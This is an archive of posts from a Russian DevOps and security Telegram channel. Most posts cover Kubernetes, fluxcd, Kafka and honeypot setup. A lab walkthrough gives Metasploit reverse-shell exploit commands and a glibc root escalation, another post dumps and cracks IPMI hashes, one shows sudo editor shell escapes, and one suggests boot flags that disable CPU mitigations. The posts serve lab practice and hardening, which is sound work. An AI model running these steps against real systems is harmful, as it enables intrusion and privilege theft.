TGViewer
Channel Public Channel
Сочный DevOps

Сочный DevOps

@andtree_sec

От CI/CD до SIEM, SOC и безопасности — здесь делюсь опытом, мыслями и полезняшками на стыке DevOps и безопасности. Всё сочное — в «Сочном DevOps».
Subscribers
420
Photos
8
Videos
0
Links
52

Showing posts older than #183 · Back to latest

Older Posts 20 shown
Post #181 179
NetworkPolicy на примере проекта shuffle

Сама политика выглядит так:
apiVersion: networking.k8s.io/v1
kind: NetworkPolicy
metadata:
name: shuffle
namespace: shuffle
spec:
podSelector: {} # apply to all Pod's
policyTypes:
- Ingress
- Egress

ingress:
# Allow ingress traffic in namespace
- from:
- podSelector: {}
# Allow incoming ingress-nginx namespace traffic
- from:
- namespaceSelector:
matchLabels:
kubernetes.io/metadata.name: ingress-nginx
ports:
- protocol: TCP
port: 80
- protocol: TCP
port: 443

egress:
# Allow egress traffic in namespace
- to:
- podSelector: {}
# Allow DNS traffic to kube-system ns
- to:
- namespaceSelector:
matchLabels:
kubernetes.io/metadata.name: kube-system
ports:
- protocol: UDP
port: 53
- protocol: TCP
port: 53
# Allow nodelocaldns traffic
- to:
- ipBlock:
cidr: 169.254.25.10/32
ports:
- protocol: UDP
port: 53
- protocol: TCP
port: 53
# Allow traffic to port
- to:
- ipBlock:
cidr: 0.0.0.0/0
ports:
- protocol: TCP
port: 9200
- protocol: TCP
port: 80
- protocol: TCP
port: 443
- protocol: TCP
port: 8200
- to:
- ipBlock:
cidr: 10.233.0.1/32
ports:
- protocol: TCP
port: 443


Она применяется ко всем подам в namespace shuffle. Правилами входящего трафика разрешаем общение между подами в рамках ns:
- from:
- podSelector: {}


А также входящий трафик от подов в ns ingress-nginx.
Исходящий трафик (egress) - также все поды в рамках ns, доступ до kube-system. Там у нас расположены поды coreDNS и nodelocaldns. Но до nodelocaldns доступа все равно не будет, поды будут к нему ходить через IP (в моем случае 169.254.25.10), поэтому ниже указываем и его:
- to:
- ipBlock:
cidr: 169.254.25.10/32
ports:
- protocol: UDP
port: 53
- protocol: TCP
port: 53


Разрешаем ходить в "мир" по портам 9200 (elastic), 80, 443, 8200. Последний это волт. Первые для интернета, который данному приложению нужен. Также shuffle нужен доступ к kubernetes service, для этого секция:
- to:
- ipBlock:
cidr: 10.233.0.1/32
ports:
- protocol: TCP
port: 443


#kubernetes
  • ❤ 1
Post #180 157
Проходим машину web-1-1 и web-1-2 на hackbase.standoff

Машины представляют уязвимое веб приложение какой-то библиотеки с возможность загрузки файлов.
Первая часть (web-1-1) про выполнение RCE, вторая про LPE (Local Privileges Escalation).
Уровень сложности - легкий.

Итак, машина доступа по адресу 10.124.1.233.

Открываем, находим ссылку ведущую на 10.124.1.233/library.
Изучив запросы в burp можно понять, что используется CMS wordpress и плагин File Manager Advanced Shortcode для загрузки файлов. Ищем публичные эксплоиты на него и находим CVE-2023-2068.

Экплоит на expoit db.

Он же есть в metasploit - multi/http/wp_plugin_fma_shortcode_unauth_rce. Им и воспользуемся.

msfconsole
use multi/http/wp_plugin_fma_shortcode_unauth_rce
set RHOSTS 10.124.1.233
set TARGETURI /library
set LHOST <you_ip>
set payload php/meterpreter/reverse_tcp
run


Запускаем и ждем. Если все ок, должны получить meterpreter сессию. Далее заходим в шелл машины для удобства:
shell
./home/rceflag


Этого достаточно для получения флага.

Вторая часть про повышение привелегий.
У нас тут есть файл с setuid битом, погуглив, находим уязвимость CVE-2023-4911 в glibc.
Под нее также есть публичный exploit тут.
Суть payload:
1. Берем системную libc.so
2. Находим смещение функции __libc_start_main (начальная точка программы).
3. В это место вклеивается shellcode (машинные инструкции открывающие /bin/sh.
4. Результат сохраняется в директорию ./" специально с кавычкой, чтобы обойти проверки и замаскировать путь.

Суть эксплоита:
1. glibc версий указанных в CVE уязвима из-за функции обработки строки. Это позволяет вызвать переполнение в стеке, если забить символами переменную GLIBC_TUNABLES, что приведет к ошибке сегментации.
2. Операция выполняется в цикле, каждый раз подставляя
setuid(0)
execve("/bin/sh")


Цикл, тк SEGFAULT может случится раньше чем выполниться данный код, повышающий привелегии. Следовательно просто пытаемся успеть.

Через upload в metasploit загружаем оба файла например в /tmp на уязвимую машину. Далее выполняем
python3 libc.py
gcc exp.c -o exp
./exp


Ждем, проверяем id. Получаем root и выполняет /home/lpeflag.

#webpentest
  • 👍 1
  • 🔥 1
Post #179 158
Внедряем s3 от yandex cloud в k8s

Есть у яндекса вот такой интересный проект, который позволяет подключить в k8s S3 в качестве хранилища.

Работает с любым хранилищем типа S3, например у нас ceph.
Развертывание с помощью GitOps системы fluxcd.

На самом верхнем уровне apps создаем директорию csi-s3, внутри helmrelease.yaml:
apiVersion: helm.toolkit.fluxcd.io/v2
kind: HelmRelease
metadata:
name: csi-s3
namespace: csi-s3
spec:
interval: 10m
releaseName: csi-s3
chart:
spec:
chart: csi-s3
version: "0.43.0"
sourceRef:
kind: HelmRepository
name: csi-s3
namespace: flux-system
values:
storageClass:
create: false
secret:
create: false


Тут только ставим приложение, без создания storageClass или секретов для конкретного бакета.

HelmRepository:
apiVersion: source.toolkit.fluxcd.io/v1
kind: HelmRepository
metadata:
name: csi-s3
namespace: flux-system
spec:
interval: 1h0m0s
url: https://yandex-cloud.github.io/k8s-csi-s3/charts


И kustomization.yaml:
apiVersion: kustomize.config.k8s.io/v1beta1
kind: Kustomization
resources:
- repository.yaml
- helmrelease.yaml


Далее на уровне конкретного кластера, я завел директорию storageclasses c описанием одного storageClass под одного приложение. У меня это shuffle.
kind: StorageClass
apiVersion: storage.k8s.io/v1
metadata:
name: csi-s3-shuffle
provisioner: ru.yandex.s3.csi
parameters:
mounter: geesefs
options: "--memory-limit 1000 --dir-mode 0777 --file-mode 0666"
bucket: shuffle-dev
csi.storage.k8s.io/provisioner-secret-name: csi-s3-secret
csi.storage.k8s.io/provisioner-secret-namespace: shuffle
csi.storage.k8s.io/controller-publish-secret-name: csi-s3-secret
csi.storage.k8s.io/controller-publish-secret-namespace: shuffle
csi.storage.k8s.io/node-stage-secret-name: csi-s3-secret
csi.storage.k8s.io/node-stage-secret-namespace: shuffle
csi.storage.k8s.io/node-publish-secret-name: csi-s3-secret
csi.storage.k8s.io/node-publish-secret-namespace: shuffle


Секрет csi-s3-secret уже идет на уровне приложения. В моем случае гит репозиторий с приложением лежит в другом месте, во flux просто подключается. Соответственно там я описываю секрет вида:
apiVersion: v1
kind: Secret
metadata:
namespace: shuffle
name: csi-s3-secret
annotations:
vault.security.banzaicloud.io/vault-serviceaccount: "<vault_sa>"
vault.security.banzaicloud.io/vault-addr: "<vault_address"
vault.security.banzaicloud.io/vault-role: "<vault_role"
vault.security.banzaicloud.io/vault-path: "<vault_k8s_auth_path>"
stringData:
accessKeyID: "vault:path/to/secret#S3_ACCESS_KEY"
secretAccessKey: "vault:path/to/secret#S3_SECRET_KEY"
endpoint: https://<s3_domain>


Секрет создается с помощью vault webhooks от bank-vault.

Итого - во flux описываем storageClass-ы под приложения/неймспесы и так далее, в конкретных приложениях уже секреты с кредами.

#k8s
#s3
  • 🔥 1
Post #178 150
Чиним URP в kafka

В kafka-ui неожиданно обнаружили всего 1 URP (Under-Replicated Partition).

Идем на машину, находим проблемную партицию и "выпавший" брокер:
kafka-topics.sh \
--bootstrap-server <ip>:<port> \
--under-replicated-partitions --describe

Видим что-то вроде:
Topic: <topic_name> Partition: 4 Leader: 3 Replicas: 3,2 Isr: 3


Проблема в <topic_name>, лидер 3, реплики 3,2, но в ISR только 3, значит брокер 2 выпал из ISR.

Смотрим настройки топика:
kafka-topics.sh \
--bootstrap-server <ip>:<port> \
--describe --topic <topic_name> \


Запоминаем значение max.message.bytes. У меня был 10 мегабайт.

На втором брокере смотрим параметры:
kafka-configs.sh \
--bootstrap-server <ip>:<port> \
--entity-type brokers --entity-name <broker_id> \
--describe --all | egrep 'replica\.fetch\.max\.bytes|replica\.fetch\.response\.max\.bytes|message\.max\.bytes'


Параметр replica.fetch.max.bytes=1048576.
Видим несоответствие: топик допускает сообщения до 10мб, а у фолловера всего 1мб. Такая реплика физически не сможет забрать большой батч. Отсюда URP.

Нужно поднять параметр replica.fetch.max.bytes, руками можно так:
for id in 1 2 3; do
kafka-configs.sh --bootstrap-server <ip>:<port> \
--entity-type brokers --entity-name $id --alter \
--add-config 'replica.fetch.max.bytes=20971520';
done


Немного ждем и проверяем URP:
kafka-topics.sh \
--bootstrap-server <ip>:<port> \
--under-replicated-partitions --describe


Ожидаем, что будет пустой вывод.
Также можно проверить сам топик:
kafka-topics.sh \
--bootstrap-server <ip>:<port> \
--describe --topic <topic_name> | grep 'Partition: 4'


Ожидаемый вывод
Topic: <topic_name> Partition: 4 Leader: 3 Replicas: 3,2 Isr: 3, 2


ISR (In-Sync Replicas) - это набор реплик партиций kafka, которые идут в ногу с лидером.
UDR - партиции, где размер ISR < replication.factor.

#kafka
  • 🔥 1
Post #177 166
ipmi honeypot

По предыдущему посту решил сделать honeypot. Он из себя представляет по сути прокси до ipmi симулятора. В README подробная инструкция по запуску.

Пример лога:
{
"time": "2025-08-14T14:45:06.427158383Z",
"dir": "sc",
"src": "ipmi-sim:623",
"dst": "192.168.16.1:34039",
"size": 64,
"tag": "asf",
"hex": "0600ff0706c0a4a3a2a0070000002000c349cb262083141de75e6f63c1741397cd5b5da617e2e4d572f0d82a5ecffc5cffff02076662bb8b36b96fd75ff52bca"
}


dir - принимает значение либо sc - server-client ответ. Т.е. ответ backend-а (ipmi-sim) клиенту. Либо cs - client-server, т.е. то, что клиент послал хонипоту.
hex - первые 256 байт полезной нагрузки UDP пакета в hex, без заголовков UDP, только то, что пришло в сокет.
tag - метка стадии IPMI пакета.

Запуск одной командой:
docker-compose -f docker/docker-compose.yml up -d


Пример куска парсера для вектора под этот honeypot:
if .observer.product == "go_ipmi_proxy" {
.vulnerability.category = ["IPMI"]
.vulnerability.enumeration = "CVE"
.vulnerability.id = "CVE-2013-4786"
.event.created = del(.time)
destination = split!(.dst, ":")
.destination.ip = destination[0]
.destination.port = destination[1]

source = split!(.src, ":")
.source.ip = source[0]
.source.port = source[1]
if .dir == "sc" {
.network.direction = "outbound"
} else {
.network.direction = "inbound"
}
.ipmi.payload.hex = del(.hex)
del(.dir)
del(.src)
del(.dst)
}

#honeypot
  • ❤ 1
Post #176 127
Проверка CVE-2013-4786 (IPMI RAKP offline crack) на эмуляторе в Docker

В IPMI 2.0 в сообщении RAKP msg2 BMC отдаёт HMAC от пароля пользователя, хэш можно унести и брутить оффлайн. Это можно проверить на эмуляторе.

Создадим docker-compose.yml:
services:
ipmi-sim:
image: vaporio/ipmi-simulator
container_name: ipmi-sim
ports:
- "623:623/udp"
volumes:
- ./state:/var/ipmi_sim
restart: unless-stopped


Запускаем:
docker compose up -d


Эмулятор будет запущен с дефолтными кредами ADMIN/ADMIN.

Проверим, что образ работает:
ipmitool -I lanplus -H 127.0.0.1 -U ADMIN -P ADMIN -C 3 chassis status


В выводе мы увидим что-то вроде:
System Power         : on
Power Overload : false
Power Interlock : inactive
Main Power Fault : false
Power Control Fault : false
Power Restore Policy : always-off
Last Power Event :
Chassis Intrusion : inactive
Front-Panel Lockout : inactive
Drive Fault : false
Cooling/Fan Fault : false


Поиск nmap-ом:
nmap -sU --script ipmi-version -p 623 127.0.0.1


Получить хеш и в данном примере пароль, можно через метасплойт модуль в одну команду:
msfconsole -q -x "
use auxiliary/scanner/ipmi/ipmi_dumphashes;
set RHOSTS 127.0.0.1;
set RPORT 623;
run; exit"


Ожидаемый вывод:
[+] 127.0.0.1:623 - IPMI - Hash found: ADMIN:<...>
[+] 127.0.0.1:623 - IPMI - Hash for user 'ADMIN' matches password 'ADMIN'


Если метасплойт не подобрал пароль, то мы можем забрать хеш и взломать его перебором оффлайн:
msfconsole -q -x "
use auxiliary/scanner/ipmi/ipmi_dumphashes;
set RHOSTS 127.0.0.1;
set RPORT 623;
set OUTPUT_JOHN_FILE /tmp/ipmi.john;
run; exit"


Перебираем john-ом:
sudo john --format=rakp --wordlist=<path/to/worldlist> /tmp/ipmi.john


#secuirty
  • 🔥 1
Post #175 116
Чиним сервера с AMD процессорами при высоких нагрузках на сеть

Ошибка обычно выглядит примерно так:
[ 7139.664994] ice 0000:c1:00.0 ens13f0: tx_timeout recovery unsuccessful, device is in unrecoverable state.
[ 7144.528992] ice 0000:c1:00.0 ens13f0: NETDEV WATCHDOG: CPU: 61: transmit queue 0 timed out 1329236 ms
[ 7149.648246] ice 0000:c1:00.0 ens13f0: NETDEV WATCHDOG: CPU: 61: transmit queue 0 timed out 1334356 ms
[ 7149.649362] ice 0000:c1:00.0 ens13f0: tx_timeout recovery unsuccessful, device is in unrecoverable state.
[ 7154.512396] ice 0000:c1:00.0 ens13f0: NETDEV WATCHDOG: CPU: 61: transmit queue 0 timed out 1339220 ms
[ 7159.632556] ice 0000:c1:00.0 ens13f0: NETDEV WATCHDOG: CPU: 61: transmit queue 0 timed out 1344340 ms


Есть ряд проблемных серверов, а именно имеющих процессор - AMD EPYC 7643 48-Core Processor и сетевую карту ntel Corporation Ethernet Controller E810-XXV с драйвером ice.

Мы обнаружили на нагруженных kafka кластерах, где на один инстанс может приходиться до 3 гигабайт сетевого трафика, ошибку как на скрине. Сервер вставал колом из-за этого.

Прочие симптомы:
1. Потери пакетов.
2. Высокое latency ответов и пинга.
3. Утилизация ядер потоками ksoftirqd.

Обычно достаточно под тюнить ядро, мы запускаем так:
module_blacklist=cdc_ether intel_idle.max_cstate=0 processor.max_cstate=1 intel_pstate=disable noibrs noibpb nopti nospectre_v2 nospectre_v1 l1tf=off nospec_store_bypass_disable no_stf_barrier mds=off mitigations=off pcie_aspm=off idle=poll iommu=pt quiet


Затем обновляем ice драйвер до последней версии.
В sysctl.conf ставим параметр:
net.core.rps_sock_flow_entries = 32768


В sysfs.conf для каждого ядра:
class/net/<interface_name>/queues/rx-0/rps_flow_cnt = 2048

Обычно хватает и опций в grub.

#linux
  • ❤ 1
Post #174 135
Honeypot с harbor админкой

Еще один honeypot на go. На этот раз он реализует админку (логин страницу) популярного opensource registry - harbor.
Логика работы крайне простая, при открытии / нас редиректит на /account/sign-in как и в реальном харборе. Загружается страница входа. Если введем логин и пароль, ничего не произойдет (вернется 204 NoContent), а данные будут залогированы. Есть фильтр по статик файлам, они не попадают в лог.

Пример лога GET запроса:
{
"time": "2025-07-25T18:34:25+03:00",
"method": "GET",
"path": "/account/sign-in",
"remote_addr": "127.0.0.1:34906",
"user_agent": "Mozilla/5.0 (X11; Linux x86_64; rv:135.0) Gecko/20100101 Firefox/135.0",
"status": 200,
"fingerprint": "256981582",
"query_params": {}
}


Пример POST запроса:
{
"time": "2025-07-25T18:34:29+03:00",
"method": "POST",
"path": "/c/login",
"remote_addr": "127.0.0.1:34906",
"user_agent": "Mozilla/5.0 (X11; Linux x86_64; rv:135.0) Gecko/20100101 Firefox/135.0",
"status": 204,
"fingerprint": "256981582",
"query_params": {},
"body": {
"password": [
"123"
],
"principal": [
"123"
]
}
}


"principal" - это пользователь. Так называется поле в статике harbor.
"/c/login" - также реальный метод, который вызывается при отправке формы.

Код тут.

#honeypot
  • 👍 1
Post #173 115
Ошибки sudoers приводящие к получению root shell

Предположим пользователю нужно мочь редактировать конфиг. Пусть это будет sshd. Казалось бы в sudoers вот такой записи будет достаточно:
user ALL=(ALL) /bin/vim /etc/ssh/sshd_config


Проблема в том, что редакторы и просмотрщики vim,emacs,less,more... предоставляют возможность выхода в shell.
Открываем через sudo разрешенный нам редактировать конфиг и вводим:
:shell


После чего видим как мы получили root на машине. Команды :shell в зависимости от дистрибутива может отличаться.

Чтобы избежать подобного, нужно давать использовать не vim а редактор sudoedit, т.е.
user ALL=(ALL) sudoedit /etc/ssh/sshd_config


Это не позволит пользователям выходит в root shell.

Тоже самое можно получить выдав права на например less. В less можно получить shell введя !bash. Чтобы избежать этого, правильная запись в sudoers будет:
user ALL=(ALL) NOEXEC: /usr/bin/less


Касательно пользовательских скриптов запуска. Давая на них права, никогда не оставляйте их в директории пользователя. Меняйте директорию и владельца, чтобы пользователь не мог их редактировать. Имея sudo на скрипт, его легко изменить, чтобы получить root shell.

#linux_security
  • 👍 2
Post #172 108
Принимаем логи по syslog

Допустим какое-то приложение умеет отправлять логи по протоколу syslog. Нам нужно на другой стороне их принять. Используем vector:
sources:
syslog:
type: syslog
address: 0.0.0.0:514
mode: tcp
sinks:
syslog_out:
type: file
inputs: [syslog]
path: /var/log/tcp_syslog.log
encoding:
codec: json


Тут мы слушаем на 514 порту входящие логи от стороннего приложения и записываем их в файл при поступлении. также писать можно в кафку или сразу в ELK.

#vector
  • 👍 1
Post #171 95
Включаем алерты от fluxcd в маттермост

У fluxcd есть notification-controller, который собственно видит все, что происходит во flux. Рассмотрим пример получения алертов с ошибками в объектах - kustomization, helmrelease, gitrepository.

Я в директории flux-system конкретного кластера, создаю директорию alerts.
Подключаю ее в основной kustomization. Внутри нам нужно

1. alert.yaml
apiVersion: notification.toolkit.fluxcd.io/v1beta3
kind: Alert
metadata:
name: fluxcd-alerts-errors
namespace: flux-system
spec:
providerRef:
name: fluxcd-mattermost
eventMetadata:
env: "test"
cluster: "<cluster_name>"
summary: "Flux reconciliation failed"
eventSeverity: error
eventSources:
- kind: Kustomization
name: "*"
- kind: HelmRelease
name: "*"
- kind: GitRepository
name: "*"


2. provider.yaml
apiVersion: notification.toolkit.fluxcd.io/v1beta3
kind: Provider
metadata:
name: fluxcd-mattermost
namespace: flux-system
spec:
type: slack
secretRef:
name: fluxcd-webhook
username: flux-alerts


Мы используем slack, он совместим с маттермост API.

3. secret.yaml
apiVersion: v1
kind: Secret
metadata:
name: fluxcd-webhook
namespace: flux-system
stringData:
address: "https://<domain>/hooks/<hook_id>"


4. kustomization.yaml
apiVersion: kustomize.config.k8s.io/v1beta1
kind: Kustomization

resources:
- secret.yaml
- provider.yaml
- alert.yaml


Теперь при ошибках в нашем GitOps мы будем получать алерты.
В маттермост у меня используется обычный входящий веб-хук.

#fluxcd
  • 👍 1
Post #170 100
Переводим fluxcd с ssh на access_token

bootstrap для репозитория с flux в gitlab я выполнял так:

flux bootstrap git \
--url=ssh://git@<domain>/path/flux.git \
--branch=<branch_name> \
--path=clusters/<path_to_cluster> \
--private-key-file=<path/to/private_key>


Это когда используем ssh. Если нужно существующий перевести на использование access_token, то выполняем бутстрап заново с force, чтобы перезаписать секрет в k8s.

flux bootstrap git \ 
--url=https://<domain>/<path>/flux.git \
--password=<access_token> \
--username=<access_token_name> \
--token-auth=true \
--path=clusters/<path_to_cluster> \
--branch=<branch_name>
--force


Готово. Теперь flux работает по http. У токена должны быть также права на запись в репозиторий.

#fluxcd
  • 🔥 1
Post #169 115
Настройка удаленного code-server

Удаленный code-server это по сути VSCode, развернутый на удаленной машине, к которому можно получить доступ для работы.

Установка code-server:
curl -fOL https://github.com/coder/code-server/releases/download/v4.22.0/code-server_4.22.0_amd64.deb
sudo dpkg -i code-server_4.22.0_amd64.deb
sudo systemctl enable --now code-server@$USER


Конфигурационные файл будет лежать в ~/.config/code-server/config.yaml. Там можно поменять порт, логин и пароль при желании.
Если меняем, не забывает выполнить рестарт юнита:
sudo systemctl restart code-server@$USER 


Далее на машину поставим nginx + certbot. Мы будем подключаться к code-server через DNS + SSL сертификат.
sudo apt update
sudo apt install -y nginx certbot python3-certbot-nginx


Настройки nginx:
server {
listen 80;
listen [::]:80;
server_name <domain>;

location / {
proxy_pass http://localhost:8080/;
proxy_set_header Host $host;
proxy_set_header Upgrade $http_upgrade;
proxy_set_header Connection upgrade;
proxy_set_header Accept-Encoding gzip;
}
}


У меня code-server запущен на 8080 порту, поэтому проксируем на него в nginx.

Активируем конфиг:
sudo ln -s /etc/nginx/sites-available/code-server /etc/nginx/sites-enabled/code-server


Получаем сертификат:
sudo certbot --non-interactive --redirect --agree-tos --nginx -d <domain> -m <email>


После всех действий UI code-server будет доступен по адресу https://<domain>.

#code_server
  • 🔥 1
Post #168 134
Honeypot на go

Написал небольшой honeypot на go. Он реализует фэйковое приложение по инвентаризации ресурсов. Простой UI. Доступно:

1. На странице логина можно внедрить SQL инъекцию.
2. Пароль в базе не шифруется. Используется sqlite.
3. Broken Access. /admin роут не защищен.
4. Открыт /debug роут. Туда можно вывести что-то свое.

На странице /admin выводится статичные данные по хостам, можно добавить свои, ведущие на другие узлы с honeypot, тем самым запутав злоумышленника.
Логи пишутся в файл, по дефолту - /var/log/honeypot/inventory_pot.json. Удобно забирать и парсить вектором.

Ссылка на код - https://github.com/Onder7994/inventory_pot/tree/main

#honeypot
  • 🔥 2
Post #167 139
pre-commit с gitleaks

Чтобы не запушить случайно секреты в гит репозиторий, можно использовать логику pre-commit с запуском gitleaks локально.

В удаленном репозитории с нашими security пайпами создадим файлик .pre-commit-hooks.yaml:
- id: gitleaks
name: Detect hardcoded secrets
description: Detect hardcoded secrets using Gitleaks
entry: <gitleaks_image> gitleaks detect -c /srv/config.toml -v -s ./ -r /tmp/gitleaks_report.txt
language: docker_image


/srv/config.toml - конфиг с рулами, он зашит в образе gitleaks.

Ставим себе pre-commit утилиту:
python3 -m pip install --break-system-packages pre-commit


И создаем в корне нашего репозитория, где хотим использовать данный функционал файлик .pre-commit-config.yaml:
repos:
- repo: git@<domain>:path/to/<repo>.git
rev: main
hooks:
- id: gitleaks


Установить хук:
pre-commit install


Обновить:
pre-commit autoupdate


Запустить руками:
pre-commit run


Теперь после commit-а будет запускаться сканирование репозитория.
Если нужно добавить исключение, то в корне создаем .gitleaksignore и добавляем туда fingerprint, полученный после сканирования.

#devsecops
  • 🔥 2
Post #166 113
Харденинг кубов

1. Мы запускаем kube-apiserver со следующим набором аргументов:
--kubelet-client-certificate=<path>
--kubelet-client-key=<path>
--authorization-mode=Node,RBAC
--enable-admission-plugins=EventRateLimit
--secure-port =6443
--audit-log-path=/var/log/audit/kube-apiserver-audit.log
--audit-log-maxage=30
--audit-log-maxbackup=10
--audit-log-maxsize=100
--service-account-lookup=true
--service-account-key-file=<path>
--etcd-certfile=<path>
--etcd-keyfile=<path>
--tls-cert-file=<path>
--tls-private-key-file=<path>
--client-ca-file=<path>
--etcd-cafile=<path>
--audit-policy-file=/etc/kubernetes/audit-policy/apiserver-audit-policy.yaml
--bind-address=0.0.0.0
--advertise-address=<IP>


Конфигурация TLS:
--tls-cert-file=<file>
--tls-private-key-file=<file>
--secure-port=6443
--cert-dir=<path>
--tls-cipher-suites=<TLS_ECDHE_ECDSA_WITH_AES_128_GCM_SHA256,TLS_ECDHE_ECDSA_WITH_AES_256_GCM_SHA384, TLS_ECDHE_ECDSA_WITH_CHACHA20_POLY1305,TLS_ECDHE_RSA_WITH_AES_128_GCM_SHA256,TLS_ECDHE_RSA_WITH_AES_256_GCM_SHA384,TLS_ECDHE_RSA_WITH_CHACHA20_POLY1305>
--tls-min-version =VersionTLS12
--requestheader-client-ca-file=<path>
--proxy-client-cert-file=<path>
--proxy-client-key-file=<path>


2. Controller manager:
--terminate-pod-gc-threshold=50
--profiling=false
--use-service-account-credentials=true
--service-account-private-key-file=<filename>
--root-ca-file=<path>


3. kube-scheduler:
--profiling=false
--bind-address=127.0.0.1


4. etcd:
 --cert-file=<path>
--key-file=<path>
--client-cert-auth=true
--auto-tls=false
--peer-cert-file=<path>
--peer-key-file=<path>
--peer-client-cert-auth=true
--peer-auto-tls=false
--trusted-ca-file=<path>
--etcd-cafile=<path>
--etcd-certfile=<path>
--etcd-keyfile=<path>


5. Kubelet:
 --anonymous-auth=false
--client-ca-file=<path>
--streaming-connection-idle-timeout=5m
--make-iptables-util-chains=true
--tls-cert-file=<path>
--tls-private-key-file=<path>
--rotate-certificates=true
--tls-cipher-suites=<TLS_ECDHE_ECDSA_WITH_AES_128_GCM_SHA256,TLS_ECDHE_ECDSA_WITH_AES_256_GCM_SHA384, TLS_ECDHE_ECDSA_WITH_CHACHA20_POLY1305,TLS_ECDHE_RSA_WITH_AES_128_GCM_SHA256,TLS_ECDHE_RSA_WITH_AES_256_GCM_SHA384,TLS_ECDHE_RSA_WITH_CHACHA20_POLY1305>


Чтобы достичь этого, используя kubespray как ansible коллекцию, мне достаточно было добавить следующее в group_vars:

1. Файл k8s-cluster.yml
kube_network_plugin: <plugin>
kube_service_addresses: <service network cidr>
kube_pods_subnet: <pod network cidr>
kube_proxy_mode: ipvs
kube_proxy_strict_arp: true
dns_mode: coredns
enable_nodelocaldns: true
enable_nodelocaldns_secondary: false
nodelocaldns_ip: <nodelocaldns ip>
nodelocaldns_health_port: <port>
nodelocaldns_second_health_port: <port>
nodelocaldns_bind_metrics_host_ip: false
nodelocaldns_secondary_skew_seconds: 5
cluster_name: <cluster name>
container_manager: containerd

tls_cipher_suites:
- TLS_ECDHE_ECDSA_WITH_AES_128_GCM_SHA256
- TLS_ECDHE_ECDSA_WITH_AES_256_GCM_SHA384
- TLS_ECDHE_ECDSA_WITH_CHACHA20_POLY1305
- TLS_ECDHE_RSA_WITH_AES_128_GCM_SHA256
- TLS_ECDHE_RSA_WITH_AES_256_GCM_SHA384
- TLS_ECDHE_RSA_WITH_CHACHA20_POLY1305

# kubelet extra args

kubelet_make_iptables_util_chains: true
kubelet_streaming_connection_idle_timeout: "5m"
kubelet_rotate_certificates: true
kube_read_only_port: 0

kubelet_config_extra_args:
tlsCertFile: "/var/lib/kubelet/pki/kubelet.crt"
tlsPrivateKeyFile: "/var/lib/kubelet/pki/kubelet.key"
authentication:
x509:
clientCAFile: "{{ kube_cert_dir }}/ca.crt"
anonymous:
enabled: false


2. kube_control_plane.yml
kube_scheduler_bind_address: 127.0.0.1
tls_min_version: VersionTLS12
kube_apiserver_admission_control_config_file: true
kube_apiserver_enable_admission_plugins:
- EventRateLimit
kube_apiserver_admission_event_rate_limits:
limit_namespace:
type: Namespace
qps: 50
burst: 100
cache_size: 2000
limit_user:
type: User
qps: 50
burst: 100


Многие параметры для других компонентов уже "из коробки" kubespray идут с правильными параметрами, достаточными для харденинга.

#k8s_sec
  • ❤ 1
Post #165 114
GitOps с FluxCD на примере проекта opencti

Есть чарт с проектом opencti. У нас есть цель из одного git репозитория подключить его в другой, где лежит flux.

Пример структуры opencti репозитория:
 $ tree
.
├── base
│   ├── harbor-creds-secret.yaml
│   ├── helmrelease.yaml
│   ├── kustomization.yaml
│   ├── rabbitmq-endpoint.yaml
│   ├── rabbitmq-svc.yaml
│   ├── repository.yaml
│   ├── tls-secret.yaml
│   ├── vault-auth-sa-token.yaml
│   └── vault-auth-sa.yaml
├── overlays
│   ├── ingest
│   │   ├── kustomization.yaml
│   │   └── opencti-ingest-release.yaml
│   └── web
│   ├── kustomization.yaml
│   └── opencti-web-release.yaml
└── README.md


Выше - базовый слой + несколько оверлеев, которые переопределяют базу. Все работает, если просто выполнить например:
kubectl apply -k overlays/<overlay_name>


Но, мы хотим полноценный GitOps и у нас есть flux репозиторий.
Там на уровне кластера подключаем следующие файл:
1. GitRepository
apiVersion: source.toolkit.fluxcd.io/v1
kind: GitRepository
metadata:
name: opencti
namespace: flux-system
spec:
interval: 1m0s
url: ssh://git@<domain>/path/to/opencti.git
ref:
branch: main
secretRef:
name: opencti-git-secret


Это "указатель" на то, что смотреть мы будем не во flux репо, а другой гит репозиторий.

2. Secret для авторизации в гите. У меня это ssh ключи для flux. Секрет должен иметь вид:
apiVersion: v1
kind: Secret
metadata:
name: opencti-git-secret
namespace: flux-system
stringData:
identity: ""
identity.pub: ""
known_hosts: ""
type: Opaque


3. Kustomization для оверлея веб.
apiVersion: kustomize.toolkit.fluxcd.io/v1
kind: Kustomization
metadata:
name: opencti-web
namespace: flux-system
spec:
interval: 2m
path: ./overlays/web
prune: true
targetNamespace: opencti
sourceRef:
kind: GitRepository
name: opencti
namespace: flux-system
wait: true
timeout: 10m0s
healthChecks:
- apiVersion: helm.toolkit.fluxcd.io/v2
kind: HelmRelease
name: opencti-web


4. Тоже самое для ingest оверлея.
apiVersion: kustomize.toolkit.fluxcd.io/v1
kind: Kustomization
metadata:
name: opencti-ingest
namespace: flux-system
spec:
interval: 2m
path: ./overlays/ingest
prune: true
targetNamespace: opencti
sourceRef:
kind: GitRepository
name: opencti
namespace: flux-system
wait: true
timeout: 10m0s
healthChecks:
- apiVersion: helm.toolkit.fluxcd.io/v2
kind: HelmRelease
name: opencti-ingest


Ну и основной kustomization, где все подключаем:
apiVersion: kustomize.config.k8s.io/v1beta1
kind: Kustomization
resources:
- repository.yaml
- repository-secret.yaml
- kustomization-web.yaml
- kustomization-ingest.yaml


Затем эту директорию подключаем в kustomization уровнем выше, у меня это уровень кластера.

#fluxcd
  • 👍 2
Post #164 131
Находим allocatable и capacity ресурсов на k8s нодах

Просто полезная команда, которая покажет сколько можно выделить под workload CPU и сколько реально CPU на ноде.
kubectl get nodes -o json | jq '.items[] | {
name: .metadata.name,
allocatableCPU: .status.allocatable.cpu,
capacityCPU: .status.capacity.cpu
}'


Тоже самое для памяти:
kubectl get nodes -o json | jq '.items[] | {
name: .metadata.name,
allocatableMemory: .status.allocatable.memory,
capacityMemory: .status.capacity.memory
}'


В хорошей конфигурации эти параметры должны быть разные, например мы резервируем ресурсы под системные нужны ОС и куба. Пример в kubelet-config:
kubeReserved:
cpu: "2000m"
memory: "2048Mi"
ephemeral-storage: "2Gi"
pid: "1000"
systemReserved:
cpu: "2000m"
memory: "2048Mi"
ephemeral-storage: "2Gi"
pid: "1000"


#k8s
  • 👍 1
Post #163 148
Автоматическое получение SSL-сертификатов через Vault Agent и AppRole

Есть набор машин, где крутятся те или иные приложения, которым нужны SSL сертификаты. Предположим, что есть некая автоматизация, которая кладет нужные нам wildcard серты в волт. В свою очередь мы хотим автоматически и конечно же безопасно получать их оттуда.

